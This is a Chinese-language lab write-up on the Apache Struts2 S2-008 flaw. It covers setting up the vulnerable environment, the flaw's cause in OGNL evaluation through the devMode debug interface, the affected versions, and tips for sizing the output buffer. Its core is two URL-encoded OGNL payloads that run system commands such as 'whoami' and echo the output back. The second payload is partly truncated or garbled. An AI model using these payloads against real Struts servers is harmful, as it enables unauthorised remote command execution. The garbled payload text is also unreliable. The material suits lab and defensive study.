【研究】Struts2漏洞之S2-008漏洞环境和可用回显POC
【研究】Struts2漏洞之S2-008漏洞环境和可用POC
1.环境
环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单
2.原理
1 | 参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html |
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
3.影响版本
Struts 2.1.0 - Struts 2.3.1
4.利用过程
环境打开
POC
1 | debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d .lang.Runtime %28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 |
这个POC是get模式传所以我们直接URL里面拼接就行
.exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[501],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%[email protected]@getResponse(),%23out.getWriter().println(%23echo)) |
这个是网上找的结合007构造的POC
可以直接回显
POC注意
这个poc也是得自己去调整,不是完全试用的
简单阅读和实验之后发现POC,发现res存在大小上限
测试发现,res更改的数值可以控制回显的字数多少
我这个大于700之后就是null了
![在这里插入图片描述](/images/20190701170137420.png
但是从小的开始10慢慢增加会显示的数量
![在这里插入图片描述](/images/20190701170343467.png
![在这里插入图片描述](/images/20190701170403572.png
![在这里插入图片描述](/images/20190701170433423.png
500的时候差不多都显示了,所以这个得自己千调整试试
注意灵活控制res大小,注意不要将res大小超过命令执行结果